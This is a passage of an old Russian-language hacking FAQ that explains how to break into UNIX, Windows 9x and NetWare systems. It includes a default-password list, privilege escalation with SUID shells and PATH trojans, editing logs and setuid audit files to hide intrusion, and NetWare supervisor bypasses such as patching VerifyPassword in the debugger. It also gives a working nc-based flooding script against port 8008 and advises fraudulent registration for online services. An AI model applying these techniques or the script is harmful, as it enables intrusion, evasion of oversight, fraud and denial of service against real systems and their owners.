Доступ к разнообразным On-Line услугам осуществляется, в том числе
и по сетям пакетной коммутации (X.25). Поскольку сети x.25 широко
распространены и общедоступны, то общение с On-Line сервисами не
представляет никакого труда. В рекламных целях продавцы этих услуг
помещают программы необходимые для работы в качестве бонуса к модемам,
а также предоставляют несколько условно-бесплатных часов работы с их
сервисом.
---
1.3.2 Альтернативные методы оплаты за On-Line услуги.
Большинство On-Line сервисов предоставляют свои услуги на основе
данных полученных от работающих с ними пользователей. Так как часто
при работе через X.25 местоположение пользователя не проверяется, то
существует возможность указать при регистрации некорректные сведения о
пользователе и о его финансовых возможностях. На этом принципе
построены альтернативные методы оплаты за On-Line услуги...
---
Часть 2. Операционные системы и компьютеры.
2.1 Классификация методов взлома компьютеров.
Итак, вы имеете какой-либо доступ к сети, и хотите расширить свои
возможности, путем проникновения на другие компьютеры или повысив
свои права на машине с которой вы работаете. Поэтому все методы взлома
делятся на две группы - методы для проникновения на компьютер из сети
и методы повышения своих прав на компьютере.
В первом случае это:
- Уже упоминавшийся подбор пароля. Как сказал Maxim Bocharov "Шансы
- 0% - если не угадали. 100% - если вы magician or телепат.
Кpитеpий - время. Однако некoтopые американцы ТАКИЕ ТУПЫЕ,
что.... везет. 8-)))". Следует иметь в виду то, что обычно на
большинстве UNIX login с удаленного терминала пользователю root
запрещен. Поэтому обычно подбирают пароли обычных пользователей.
- Использование ошибок операционных систем для получения информации
о пользователях на машине (например login & password).
- Использование сканирования проходящих в сети пакетов (sniffing),
для получения информации о пользователях(см. 1.1.9).
- Есть в UNIX'е такая программка 'sendmail', если ее поковырять, то
может можно что-нибудь найти...
- "Троянские кони" - программы содержащие в себе некий 'довесок' и
'подаренные' на атакуемую машину(см. 1.1.10).
- Один из новых способов : использование ошибок в WWW-броузерах, и
возможностей "активных" элементов WWW-страниц - JAVA, ActiveX. В
этих cредствах создания интерактивных WWW-страниц используется
технология перекачки некого кода или скрипта на машину
пользователя и затем их автоматическое выполнение.
Во втором случае всё зависит от операционной системы компьютера,
на котором вы хотите добиться повышенных привилегий. У каждой есть
свои дыры, но не ищите их в данном документе - их описания здесь нет,
про стандартные не имеет смысла рассказывать, разве что, в качестве
классических примеров, и они уже давно заткнуты, про остальные,
естественно, никто не расскажет - т.к. их тут же заткнут, так что
ИЩИТЕ. Это могут быть например:
- Некорректно написанные программы (не проверяющие на корректность
вводимые данные, имеющие недокументированные команды, флаги, etc)
- Неправильные права доступа к системным файлам и директориям.
( например при инсталляции QNX все системные директории имеют
флаги rwxrwxrwx (:, а автор программы mqc заботливо оставил
SUID'ный командный файл с такими же атрибутами)
В компьютерном мире существуют много организаций, занимающихся
нахождением и информированием о ошибках и дырках в операционных
системах, в целях их скорейшего нахождения и исправления системными
администраторами, но кто мешает хакеру тоже получать такого рода
информацию ? Обычно, немедленное использование полученной информации
дает результаты. Ссылки на наиболее известные организации приведены в
разделе 'Ресурсы'.
Далее будут рассмотрены _общие_ аспекты вышеперечисленных методов
взламывания операционных систем.
---
2.1.1 Как определить операционную систему?
Прежде чем приступить к исследованиям, необходимо идентифицировать
"подопытную" операционную систему. Обычно, тип ОС можно определить
по ее приглашению перед регистрацией в системе. Для некоторых
операционных систем вы можете найти примеры приглашений в Приложении.
Некоторые беззаботные сисадмины, помещают информацию о типе ОС и
процессора в поле HINFO DNS(см. 1.1.2).
---
2.1.2 Какие стандартные пароли в операционных системах?
Как говорилось ранее, в некоторых случаях возможен подбор пароля,
для входа в систему. До недавнего времени, пользователи выбирали
пароли которые легко запомнить, или даже оставляли те, которые стоят в
системе по умолчанию при инсталляции. Если у вас не хватает фантазии,
вы можете поэкспериментировать с этим списком:
admin, ann, anon, anonymous/ anonymous, backup, batch, bin, checkfsys,
daemon, demo, diag, field, ftp, games, guest/guest, guest/anonymous,
help, install, listen, lp, lpadmin, maint, makefsys,mountfsys,network,
news,nobody, nuucp, nuucpa, operator, powerdown, printer, pub, public,
reboot,rje, rlogin, root, sa, setup, shutdown, startup, sync, sys/sys,
sysadm,sysadmin, sysbin/sysbin, sysbin/bin, sysman, system, tech,test,
trouble,tty, umountfsys, user/user, user1/user1, uucp, uucpa, visitor.
Также, очень часто пользователи используют в качестве паролей,
свое имя, фамилию, имя своего бюджета, или вообще его не ставят.
Hint: Вы уже поменяли свой пароль ? ;-)
---
2.2 Что такое UNIX?
На больших ЭВМ, UNIX - одна из самых используемых операционных
систем. Это основная операционная система в Internet. Существуют две
основных концепции построения клонов UNIX:
1. BSD UNIX - от Berkeley Software Distribution
2. System V - от AT&T
Также существует SVR4, которая является смесью этих двух типов.
Клоны UNIX имеют самые различные названия: Linux, FreeBSD, BSD/OS,
Solaris/x86, NetBSD, SCO, UnixWare ( для IBM PC ), SunOS/Solaris,
NetBSD/Sun ( для SUN ), Digital UNIX, Ultrix, OSF/1 (для DEC'овских
машин), а также HP-UX, AIX, Apollo и другие.
Некоторые UNIX'ы свободно распространяются вместе с исходными
текстами: FreeBSD, Linux, NetBSD. Более подробную информацию о них
можно получить на:
FreeBSD: http://www.freebsd.org/
Linux: http://www.linux.org/
NetBSD: http://www.netbsd.org/
---
2.2.1 Где хранятся пароли в UNIX?
В классическом UNIX'е информация о пользователях хранится в файле
/etc/passwd. Этот файл содержит для каждого пользователя системы, семь
полей, разделенных знаком ':'.
Пример записи на одного пользователя из /etc/passwd:
will:5fg63fhD3d5g:9406:12:Will Spencer:/home/fsg/will:/bin/bash
Каждая запись содержит :
Имя пользователя (login): will
Зашифрованный пароль: 5fg63fhD3d5g
Номер пользователя: 9406
Номер группы: 12
Информация о пользователе: Will Spencer
Домашний каталог: /home/fsg/will
Оболочка (Shell): /bin/bash
Важное примечание:
В современных UNIX'ах зашифрованные пароли не хранятся в доступном
всем /etc/passwd, а хранятся в файле, доступном только администратору:
/etc/master.passwd или /etc/shadow. В поле пароля /etc/passwd в этом
случае стоит символ '*'. Что делать? На довольно старых версиях SunOS
может помочь следующая программа:
#include <pwd.h>
main()
{
struct passwd *p;
while(p = getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid,
p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
---
2.2.2 Как узнать пароль в UNIX ?
Вопреки распространенному мнению, пароли в UNIX не могут быть
расшифрованы. Шифруются не паpоли, а строка пробелов, с использованием
пароля в качестве ключа. Кроме того для того, чтобы пользователи с
одинаковыми паролями имели разные выходные строки используется Salt -
это две первые буквы (5f) в 5fg63fhD3d5g - это то, что все считают
шифрованным паролем и находится в passwd во втором поле записи, см.
предыдущий пример.
Как задается пароль в Unix ?
a) Система вырабатывает Salt - две случайные буквы.
б) Запрашивает у пользователя пароль.
в) Шифрует строку пробелов по алгоритму DES, используя Salt для
модификации алгоритма шифрования, пароль используется как
ключ. (*)
г) Записывает Salt, плюс pезультат шифpования в passwd.
(*) В качестве метода свертки вместо DES в некоторых системах
используют MD5.
Идентификация пользователя проходит в два этапа- сначала на запрос
"Login:" пользователь вводит свой login_name, затем программа login
берет Salt, и используя вышеуказанный алгоритм преобразует введённое
после запроса "Password:" слово. Результат сравнивается с записанной в
passwd строкой.
К сожалению ;) в настоящее время не имеется _доступной_ аппаратуры
для подбора пароля методом полного перебора за приемлемое время.
Поэтому программы ломания паролей используют словари ( wordlists ).
Каждое слово из словаря используется в качестве ключа для шифровки
Salt и результат сравнивается с содержимым passwd.
Ссылки на программы, подбирающие пароли по словарям или полным
перебором смотрите в разделе 'Ресурсы'.
---
2.2.3 Какие методы применяются для взлома UNIX?
%PATH%
~~~~~~
Если ваш администратор забыл убрать из переменной окружения %PATH%
"."(текущий каталог), то этим можно воспользоваться положив в каталог
программу-троянца(2.1.4) с именем какой-либо наиболее употребительной
команды системы (например ls). Тогда при попытке администратора
просмотреть содержимое этого каталога может запустится ваша программа,
делающая свое черное дело :-).
Вообще, в некоторых системах стоит внимательнее посмотреть на
порядок перечисления каталогов в переменной PATH, а также расположение
часто запускаемых из командной строки программ.
UID SHELLS.
~~~~~~~~~~~
Когда бит 'UID' поставлен у программы - оболочки ( shell ), ее
выполнение изменяет ваш user id на user id владельца этой программы,
и вы будете использовать полученный acccount пока не выйдите из этой
вторичной оболочки. Это дает вам возможность исполнять любые команды
под user id полученного account'a. Это лучше, чем знание пароля для
account'a, вы можете пользоваться account'ом пока существует этот файл
в системе, даже если владелец сменит пароль. Обычно, когда получают
доступ к account'у, делают копию shell в какой-то директорий, и ставят
UID и GID биты. Теперь если доступ к этому account'у потерян, можно из
другого запустить UID-shell и получить необходимый доступ.
UID и GID биты ставятся программой chmod. Например:
chmod 6555 /tmp/sh
Изменение UID программ.
~~~~~~~~~~~~~~~~~~~~~~~
Если вы имеете доступ по_записи(write access) к UID файлу,то можно
легко превратить его в оболочку. Скопируйте файл, затем наберите:
cat /bin/sh > [uid файл]
Это заменит его содержимое на содержимое shell, но UID останется
прежним. Теперь запустите заменённую программу, сделайте скрытый UID
shell, и верните UID файл в прежнее состояние из копии. В настоящее
время в последних версиях UNIX-систем при попытке записи в файл с
установленным битом 's', этот бит сбрасывается, что делает невозможным
применение данного метода.
Как найти рутовские файлы с suid ? Попробуйте:
find / -user root -perm -6000 -print
Срыв стека.
~~~~~~~~~~~
Самая новомодная методика взлома UNIX. В программах написанных на
языке С,под массивы отводится место в стеке программы. Если при работе
с таким массивом происходит запись в массив за его границей, это
приводит к разрушению стека программы и непредсказуемым результатам.
Например при выходе из модуля происходит переход по случайному адресу.
Переполнения стека приводит к изменению адреса возврата из функции
и может быть использовано для изменения нормального хода выполнения
программы. Логично было бы заставить программу выполнить какие-то
незапланированные действия, например, запустить(spawn) shell. Но если
в программе не содержится необходимого кода? Как поместить необходимый
код в адресное пространство инструкций? Необходимо поместить код для
выполнения в переполняемый буфер и переписать адрес возврата на точку
внутри этого буфера. Код, при выполнении которого происходит запуск
shell, получил название 'Shell Code'. Если программа, из которой
происходит запуск shell проинсталлирована как suid root, то получается
root shell.
Пример программы, реализующей вышеописанные действия приводится в
приложении 6.
Поиск программ с возможностью срыва стека.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Как было сказано выше, переполнения буфера происходят из-за
помещения в него большего количества информации, чем предполагалось.
Так как Язык C не имеет каких-либо встроенных средств для проверки
границ массивов данных, переполнения часто встречаются. Стандартная
библиотека С предоставляет ряд функций для копирования и конкатенации
строк, и эти функции не имеют проверок границ. Вот некоторые из этих
функций: strcat(), strcpy(), sprintf() и vsprintf(). Эти функции
используют строки заканчивающиеся символом '\0' и не проверяют на
переполнение при обработке принимаемой строки. gets() - это функция,
которая считывает строку со стандартного ввода (stdin) в буфер до тех
пор, пока не встретит символ новой строки или EOF. Эта функция не
производит проверки на переполнение буфера. С семейством функций
scanf() может возникнуть такая же ситуация, если в строке формата
используется "%s" и принимающая строка недостаточно велика. Если
принимающий массив какой-нибудь из этих функций представляет собой
буфер постоянной длины и данные, его заполняющие каким-либо образом
зависят от ввода или другой информации, зависящий от пользователя,
то скорее всего вы можете вызвать ситуацию переполнения буфера.
Другая, часто использующаяся при программировании конструкция, это
цикл посимвольного ввода из stdin или другого файла в буфер до тех
пор, пока не будет встречен символ конца строки (EOL), конца файла
(EOF) или другой разделитель. В такой конструкции обычно используются
функции getc(), fgetc(), или getchar(). Если при этом нет проверок на
переполнение, то в таком коде тоже легко можно вызвать переполнение
буфера.
Программа grep играет значительную роль в поиске таких слабых мест
в программах. Исходные тексты свободно распространяемых операционных
систем вполне доступны. И этот факт становится весьма интересным,
учитывая то, что многие коммерческие операционные системы базируются
на исходных текстах свободно распространяемых систем. В общем,изучайте
исходные тексты UNIX !
---
2.2.4 Как научится не оставлять за собой следов ?
Файлы протоколов работы (log-files).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
UNIX хранит системные протоколы в следующих файлах:
/var/log/utmp (/etc/utmp) - запись о вашем текущем присутствии в
cистеме. Используется программой who.
/var/log/wtmp (/usr/adm/wtmp) - протокол всех вхождений в систему.
Используется программой last.
/var/log/lastlog (/usr/adm/lastlog) - Дата последнего входа в систему
каждого пользователя. Выдается на экран
программой login.
Это не текстовые файлы и отредактировать их в vi руками не
получится. Для того, чтобы стереть информацию о своём присутствии,
надо использовать специальную программу, написанную для этих целей.
Пример такой программы приведён в приложении 7.
Часто информация о входах пользователей и о некоторых их действиях
(например запуск su) выдается на консоль администратору и в системный
лог, который может называться /var/log/messages. Для модификации этого
файла можно воспользоваться редактором ed или vi.
Программа CRON.
~~~~~~~~~~~~~~~
Cron - программа, которая запускает другие задачи с некоторой
периодичностью. Описание этих задач и времени их запуска хранятся в
файлах в двух директориях: /usr/lib и /usr/spool/cron.
Файл crontab в директории /etc или /usr/lib описывает системные
задачи, которые надо запускать с определённой периодичностью. Формат
этого файла:
минуты часы день_месяца месяц_года день_недели коммандная_строка
[0-59] [0-23] [1-31] [1-12] [1-7] [путь, аргументы]
Пример строки из crontab:
0 1 * * * /bin/sync
Это значит, что надо запускать команду sync, содержащуюся в директории
/bin в час ночи каждый день. Команды выполняемые из /usr/lib/crontab
получают привилегии root (UID = 0).
В каталоге /usr/spool/crontabs, содержатся файлы имеющих имена
системных account'ов. Эти файлы содержат поля, сходные с содержащимися
в файле /usr/lib/crontab, но команды из этих полей выполняются с ID
пользователя с именем, соответствующим имени этого файла. Формат полей
аналогичен.
Обычно с помощью утилиты cron запускаются программы, проверяющие
целостность системы: проверяются длинна и/или контрольные суммы
файлов, наличие в системе пользователей с UID = 0, и т.д. О всех
подозрительных явлениях пишется письмо root'у. При модификации файлов
cron пишется протокол в файл /usr/adm/cronlog.
В некоторых системах, например во FreeBSD существуют командные
файлы /etc/daily, /etc/weekly и /etc/monthly. /etc/daily запускается
cron'ом ежедневно в 2:00am и сравнивает информацию выдаваемую по
команде ls -laT для всех suid'ных файлов с информацией предыдущего
дня. Иными словами /etc/daily сравнивает /var/log/setuid.today и
/var/log/setuid.yesterday. О всех изменениях посылаются письмо
администратору. Так что, если вы изменили или добавили какой-нибудь
SUID'ный файл, не забудьте сделать соответствующие изменения в этих
двух файлах.
---
2.3 Windows NT, Windows 9x, Windows 2000.
Достаточно большое количество машин в интернете находятся под
управлением операционных систем Windows 9x или Windows NT. Эти системы
отличаются от UNIX-систем дружественным, для простых пользователей,
графическим интерфейсом. Особенно большое распространение получила
система Windows9x. Еще одно важное отличие этих систем в том, что
_начальная_ концепция защиты в них формулируется следующим образом:
"Что на запрещено, то разрешено", в отличие от UNIX-систем, где законы
несколько другие: "Что не разрешено, то запрещено".
Стоит заметить, что в Windows-подобных системах в стандартной
поставке отсутствует такой сервис, как удаленный терминальный доступ
(telnet) и удаленное использование машинного времени не предусмотрено.
---
2.3.1 Как через Internet подключиться к другой Win'9x машине?
Многие пользователи, работающие в Internet из своих локальных
сетей открывают доступ к своим дискам, например для товарищей по
работе или каких-либо других целей. Если такая локальная сеть не
защищена Firewall'ом (1.1.7), то информация этих компьютеров может
стать доступной из Internet по протоколу Netbios-via-TCP/IP.
Для подключения дисков удаленной машины через Internet достаточно
внести IP-адрес и имя машины в файл %WinDir%\hosts на вашей машине,
затем подключить удаленный диск воспользовавшись командой "NET USE"
или с помощью меню "Сетевое окружение\Найти компьютер". Обычно все это
работает если между вашей и удаленной машиной есть устойчивая связь.
Время прохождения пакетов можно проверить воспользовавшись программой
ping, а доступность портов - установив telnet-соединение c 139 портом
удаленной машины.
Пару слов о nbtstat. Эта полезная программа, входящая в состав
Windows9x и Windows NT показывающая информацию о удаленном компьютере,
например пользователей, зарегистрированных на машине.
---
2.3.2 Как узнавать различные пароли в Win'9x?
Windows 9x хранит свои пароли в двух местах - в registry и в *.PWL
файлах. Пароли к ScreenSaver'у и к Общим (shared) ресурсам хранятся в
registry. Пароли пользователей на вход в машину - в файлах типа:
%WinDir%\"имя_пользователя".PWL
В отличии от UNIX, пароли пользователей могут быть восстановлены
с наименьшей затратой сил. Windows API имеет мало документированные
функции (WNetEnumCachedPasswords) для получения паролей _текущего_
пользователя, этим пользуется программа PWLVIEW by Vitas Ramanchauskas
Программа glide самостоятельно расшифровывает информацию в PWL-файлах,
но с связи с этим работает не на всех версиях Windows 9x.
Программа w95rv by Hard Wisdom показывает пароли к общим ресурсам,
хранящимся в registry:
(H_K_L_M\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\...)
Программу glide.c можно найти на любом поисковом сервере.
---
2.3.3 Где хранятся номера телефонов к Dialup соединениям в Win9x?
Номера телефонов и другая техническая информация Dialup соединений
хранятся в registry (HKEY_CURRENT_USER\RemoteAccess\Addresses\...) Для
ее показа можно воспользоваться программой winphone.cpp приведенной в
приложении 8. Также, программа показывает пароли, если у пользователя
стоит опция "Сохранять пароль"
---
2.3.4 Что такое BO(Back Orifice)?
Back Orifice - средство удаленного управления компьютером (remote
administration tool). Чаще используется как троянская программа(см. п.
1.1.10). Распространяется в сети с различными "полезным" программами;
после запуска копирует себя в каталог Windows и добавляет свою
загрузку в системный реестр(registry) в раздел
HKEY_L_M\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
Имя троянской программы МОЖЕТ БЫТЬ НЕСТАНДАРТНЫМ(стандартное ".exe"),
поэтому ведите поиски с пристрастием :). Дополнительную информацию
можно найти на www.cultdeadcow.com.
---
2.4 Novell NetWare
2.2.1 Где хранятся пароли в NetWare?
Пароли для доступа в сеть NetWare хранятся только в голове
пользователя. В процессе регистрации введенный пользователем пароль
преобразуется в 16-ти байтовое число. Важно отметить, что сам пароль
может быть пустой (0 символов) или длиной 128 символов (максимальная
длина), но результат преобразования всегда будет 16 байт. Это так
называемая "свертка" или "хеш" пароля. Именно это число и участвует в
процессе аутентификации (подтверждения подлинности) пользователя;
оно же и хранится на серверах NetWare в качестве свойства "PASSWORD"
объекта типа "USER". Конечно, его невозможно "подсунуть" стандартной
процедуре регистрации, но, зная это число можно пройти процедуру
регистрации на сервере с помощью специальной программы.
На сервере хеши паролей хранятся либо в базе bindery (для Novell
NetWare 3.xx), либо в NDS (для 4.0 и выше).
База bindery представляет собой 3 файла в каталоге SYSTEM на томе
SYS: net$obj.sys, net$prop.sys и net$val.sys. Нормально, к этим файлам
доступ закрыт даже супервизору, т.к. они все время открыты системой.
Есть специальные функции CloseBindery и OpenBindery, но они
доступны только супервизору. Иногда можно получить копии этих файлов,
если супервизор после "ремонта" bindery (bindfix.exe) не убрал
резервные копии. Резервные копии создаются также в SYS:SYSTEM и имеют
те же имена, только расширения *.old.
При этом надо еще получить доступ в SYS:SYSTEM хотя бы по чтению,
что большинство администраторов не позволяют.
База NDS является распределенной и хранится на всех серверах,
содержащих Master, ReadWrite или ReadOnly реплику данного раздела
дерева. Эта база не доступна по сети в виде файлов, она хранится в
"скрытом" каталоге на томе SYS. Можно попытаться получить доступ к
резервным копиям NDS. Для манипулирования файлами bindery в режиме
off-line существует несколько утилит, которые доступны на сайте
www.nmrc.org в разделе InsecureFiles для NetWare:
http://www.nmrc.org/files/netware/
bindery.zip 61962 This is a set of utilities for extracting,
importing, and exporting bindery information.
The best thing is that passwords can be extracted
and dictionary cracked. For use with Netware 3.x
binderies.
Для манипулирования копиями NDS в режиме off-line рекомендуется
взять на том же сайте продукт pandora (есть для Windows и Linux) -
http://www.nmrc.org/pandora/download.html. В этом же продукте есть
программа panmount для подключения к сети NetWare с использованием
хеша пароля вместо самого пароля.
---
2.2.2 Как узнать пароль в NetWare?
Пароль в чистом виде нигде не хранится (см. вопрос 2.2.1). Однако,
его можно попытаться "выудить" в следующих местах:
- из головы пользователя (администратора) - путем пыток, спаивания,
взяток или догадок;
- при использовании на рабочей станции Windows, последняя имеет
привычку кэшировать пароли (сохранять их в файле *.PWL). Вскрытие
PWL освещено в отдельном вопросе;
- можно установить на станции жертвы перехватчик паролей. Вряд ли
администратор пустит кого-то к своей машине, но сделать так,
чтобы он зашел в сеть с вашей машины (под каким-нибудь предлогом)
- вполне реально.
- можно "прослушать" процесс регистрации пользователя и на основе
полученных данных попытаться рассчитать пароль. Для версий
NetWare 3.xx, при условии, что пароль не слишком навороченный и
длинный (до 6-7 символов) эта задача решается в сроки до 1-го
месяца на PII-400.
С версиями 4.0 и выше - дело обстоит сложнее :) См. вопрос 2.2.3.
---
2.2.3 Как происходит передача пароля в NetWare?
При регистрации в сети пароль в открытом виде не передается, а
применяется схема защищенной аутентификации.
Рассмотрим процесс для NetWare 3.xx. Сначала клиент устанавливает
с сервером первичное соединение (attach) с состоянием NOT-LOGGED-IN.
После этого на сервер передается имя пользователя и тип объекта
(User), на основании которых запрашивается UserID. Из введенного
пароля и UserID рассчитывается хеш пароля (далее этот хеш длиной 16
байт будем называть PASSWORD). После, клиент запрашивает у сервера
EncryptionKey (по сути он не является ключом шифрования, но так
называется функция) и получает число длиной 8 байт. Это число
шифруется, используя PASSWORD в качестве ключа шифрования, а результат
(8 байт) отправляется на сервер. Сервер делает тоже самое (посланное
число он знает, свойство PASSWORD у него есть) и сравнивает результат
с присланным клиентом числом. Если совпадает - пускает, если нет -
клиент получает отлуп, но после небольшой задержки, чтобы невозможно
было организовать быстрый подбор в режиме on-line. Хакер,
вооружившийся сниффером(1.1.9) и "прослушавший" этот процесс, имеет в
своем распоряжении имя пользователя, его UserID и два 8-байтовых числа
(случайное число, переданное сервером и результат его шифрования на
хеше пароля). В терминах криптографии: ему необходимо провести атаку
на ключ с известными открытым и шифртекстом. На PII-350 скорость
такого перебора составляет около 65000 паролей в секунду. Отсюда
несложно посчитать затраты времени в зависимости от длины пароля и
используемого алфавита.
Для NetWare 4.0 и выше процесс происходит практически также, но он еще
дополнительно шифруется по алгоритму RSA.
Исходные тексты всех изложенных выше процедур доступны в пакете ncpfs,
распространяемом по лицензии GPL. Он ориентирован на Linux.
---
2.2.4 Какие методы применяются для взлома NetWare?
Просто "получить все пароли" - невозможно (см. вопрос 2.2.1).
Получение прав администратора. В отличие от UNIX, NetWare не
предполагает непосредственной работы на сервере, соответственно,
невозможно получить некий "привилегированный шелл" или запустить
процесс от имени администратора будучи зарегистрированным простым
пользователем. Остается 2 варианта: либо сделать себя эквивалентным
по правам администратору, либо узнать пароль администратора и войти
в сеть с его правами.
Второй вариант рассмотрен в вопросе 2.2.2, но даже если пароль
администратора удалось узнать, не факт, что вход в сеть обеспечен.
Дело в том, что подсистема обеспечения безопасности NetWare позволяет
вводить ограничения на сетевой адрес регистрации и число одновременных
подключений. Узловую часть сетевого адреса можно "подделать" путем
установки параметра "node address" в файле net.cfg; однако если
станция администратора, с которой разрешен вход, находится в другой
IPX-подсети - не повезло :)
Чтобы сделать себя эквивалентным по правам администратору
(supervisor в NetWare 3.xx; Admin в NetWare 4.0 и выше), необходимо
"попросить" об этом сетевую ОС путем посылки соответствующего пакета
от имени администратора или другого эквивалентного по правам объекта.
Для этого при помощи команды userlist (NW 3.xx) или nlist (NW4 и выше)
необходимо посмотреть его сетевой адрес. После этого можно заниматься
"конструированием" и посылкой пакета на сервер.
Этот подход известен под названием "голландская атака" (по месту
первого проведения). Однако, здесь подстерегают две неожиданности :)
Во-первых, пакеты в каждом соединении имеют сквозную циклическую
нумерацию. Проблема решается посылкой 256 пакетов с разными номерами.
Во-вторых, в ответ на "голландскую атаку" появилось средство защиты
- электронная подпись пакетов протокола NCP (NetWare Core Protocol)
- NCP Packet Signature. К версии NW 3.11 она идет как дополнение, в
более старших версиях это "встроенная фича" системы. Если попытаться
провести "голландскую атаку" при включенной ncp packet signature, то
пакет будет отвергнут сервером, а на консоль, в лог и администратору
пойдет сообщение об атаке. Однако огорчаться не стоит :) Эта фича -
отключаемая, и по умолчанию она не включена. Многие администраторы ею
пренебрегают, т.к. ее использование замедляет работу сети (расчет и
проверка электронной подписи для каждого пакета требует затрат как со
стороны клиента, так и со стороны сервера).
"Голландская" атака была проведена на NW 3.11. Модель аналогичной
атаки на NW 4.xx была опробована в Томске, за что и получила название
"томская атака". В отличие от "голландской", "томская" атака работала
даже при задействованной ncp packet signature. Подробное описание есть
на security.tsu.ru и www.nmrc.org.
Следующие 3 способа войти на сервер NW3.xx супервизором подходят
только если есть физический доступ к серверу.
Итак, останавливаем сервер, загружаем на нем чистый DOS и
запускаем diskedit из комплекта Norton Utilities. В нем на новеловском
разделе ищем файлы net$obj.sys, net$prop.sys и net$val.sys и делаем им
новые расширения (*.old), обнуляя тем самым bindery. После чего грузим
NetWare и заходим супервизором без пароля. Делаем bindrest.exe, не
забыв поставить нормальные атрибуты на указанных выше файлах. Как
вариант, вместо возни с diskedit можно загрузить на сервере Linux с
поддержкой файловой системы NetWare (www.timpanogas.com) и
переименовать файлы обычным образом. В любом случае после bindrest не
забудьте сделать setpass, т.к. bindrest восстанавливает старый пароль.
Еще один красивый способ, предложенный в 1996 году в конференции
SU.NET, это загрузка NetWare с "заглушкой" тома SYS. С консоли сервера
тома размонтируются, том SYS переименовывается в какое-нибудь другое
имя, а один из других томов переименовывается в SYS. Система грузится,
вход супервизором без пароля, потом размонтирование и обратное
переименование томов. Опять же не стОит забывать про setpass.
И, наконец, третий способ. На консоли сервера входим во встроенный
отладчик (<Alt><RShift><LShift><Esc>) и ищем функцию VerifyPassword.
Предварительно сохранив оригинальные коды, правим функцию, чтобы она
всегда возвращала "TRUE". Для NW 3.12 в последовательности 74 1F BE FF
заменяем 74 на EB. Теперь любой пароль любого пользователя будет
принят как правильный. После регистрации надо произвести на сервере
обратные изменения и даем любимую команду setpass.
Примечание. Вход в отладчик будет невозможен, если в autoexec.ncf или
с консоли дана команда "secure console".
Если администратор работает с сервером удаленно (при помощи
RCONSOLE), можно попытаться перехватить сессию и расшифровать пароль.
Очень подробно об этом написано в "Netware Remote.NLM Weak Encryption
Vulnerability" по адресу:
http://www.securityfocus.com/vdb/bottom.html?vid=482
Еще один тип атак - Denial of service (см. вопрос 1.1.8). Сам по
себе не имеет смысла, но может пригодиться когда необходимо "заткнуть
на время" какую-нибудь станцию или сервер при проведении другой атаки.
По адресу http://www.nmrc.org/files/netware/ есть два эксплоита для
DoS-атак:
* burn.zip (26523) - burn up drive space on SYS: volume by filling
up the SYS$ERR.LOG. About 1MB per minute. Exe and source code by
Jitsu-Disk.
* yang.zip (27489) - yet Another Netware Game. Flood the server and
its clients with bogus broadcast packets. Exe and source code by
Jitsu-Disk.
Оригинальный вариант с DoS описан в статье
http://www.hackzone.ru/articles/netware.html
Novell Client 3.0.1 и Novell Client 3.0 (для Windows) "валят"
операционку если открыть соединение на 427 порт TCP
(например, nmap -sS -p 427 <target>). Предполагается, что
установлен IP-компонент.
Серверу NW5 можно попортить жизнь путем "забивания" большими (около
4k) запросами на порт 8008. Например, вот так:
================= begin crash.sh ===========
#!/bin/sh
SERVER=127.0.0.1
PORT=8008
WAIT=3
DUZOA=`perl -e '{print "A"x4093}'`
MAX=30
while :; do
ILE=0
while [ $ILE -lt $MAX ]; do
(
(
echo "GET /"
echo $DUZOA
echo
) | nc $SERVER $PORT &
sleep $WAIT
kill -9 $!
) &>/dev/null &
ILE=$[ILE+1]
done
sleep $WAIT
done
======= end =====
Где взять perl и что писать в переменной SERVER вместо 127.0.0.1 вы,
конечно, знаете :)
---
2.2.5 Хочу подробнее! Где еще почитать о взломе NetWare?
* "Теория и практика обеспечения информационной безопасности".
Под редакцией П.Д. Зегжды. "Яхтсмен", Москва, 1996.
* "Секреты безопасности сетей". Дэвид Стенг, Сильвия Мун.
"Диалектика", Киев, 1996.
* "Novell NetWare 4.1 в подлиннике. Наиболее полный
справочник." Билл Лоренс. BHV, Санкт-Петербург, 1996.
* http://security.tsu.ru (зеркало на http://www.hackzone.ru/nsp/).
Особенно рекомендуется http://www.hackzone.ru/nsp/inwr.html :)
* http://www.nmrc.org
* FAQ от NMRC (на английском) по взлому NetWare можно также получить:
jumper.mcc.ac.uk /pub/security/netware faq.zip
ftp.fastlane.net /pub/nomad/nw faq.zip
ftp.best.com /pub/almcepud/hacks faq.zip
---
Часть 3. Разное.
3.1 Условия распространения.
Данный документ может свободно распространяться в электронном виде
при условии сохранения его целостности. Вы можете свободно передавать
и применять его если это не связано с получением прибыли. Коммерческое
использование запрещено, штраф $10.000(десять тысяч долларов США).
ПPEДOCТEPEЖEHИE издaтeлям гaзeт, жypнaлoв, бpoшюp, книг и пpочей
коммерческой пeчaтнoй пpoдyкции:
- КAТEГOPИЧECКИ зaпpeщeнa пepeпeчaткa нa твepдыx нocитeляx дaннoгo
фaйлa, пoлнocтью или чacтичнo бeз пpедвapитeльнoгo coглacoвaния c
peдaктopoм.
---
3.2 Где найти свежую версию FAQ ?
BBS:
____ _____/\ _________ ____ _____________
/ __ \/ __ / \/ / ___/ _ \/ __ /_ __/ RU.NETHACK Support
_//_/ / __ / /___ / // / __ / / / 2:5030/493.0@FidoNet
/____ /____/__/\__/\____/\_____/__/Station/ 9600,V34,V42b,XA,U,TVF
\/
FREQ: NETHACK
FTP:
ftp://proxy.etu.spb.ru/pub/texts/neth_faq.zip
HTTP:
http://www.nether.net/~dzh/neth_faq.zip
---
3.3 Как связаться с авторами ?
Связаться с редактором этого документа можно написав письмо по
одному из адресов:
FidoNet: 2:5030/493@fidonet.org
E-Mail : dzh@nether.net
dzh@tomcat.ru (иногда недоступен)
Вы можете принять участие в работе над следующими версиями F.A.Q.
в качестве:
- со-автора
- консультанта
- beta-тестера
---
3.4 Что еще можно почитать?
1. Farmer D., Venema W., Improving the Security of Your Site by
Breaking Into it, Eindhoven University of Technology.
2. TCP port Stealth Scanning by Uriel Maimon, PHRACK #49, November 08,
1996
3. Smashing The Stack For Fun And Profit by Aleph1, PHRACK #49,
November 08, 1996.
4. The alt.2600/#Hack FAQ by Voyager, A TNO Communications Production
5. Unix Use and Security, From The Ground Up, by The Prophet.
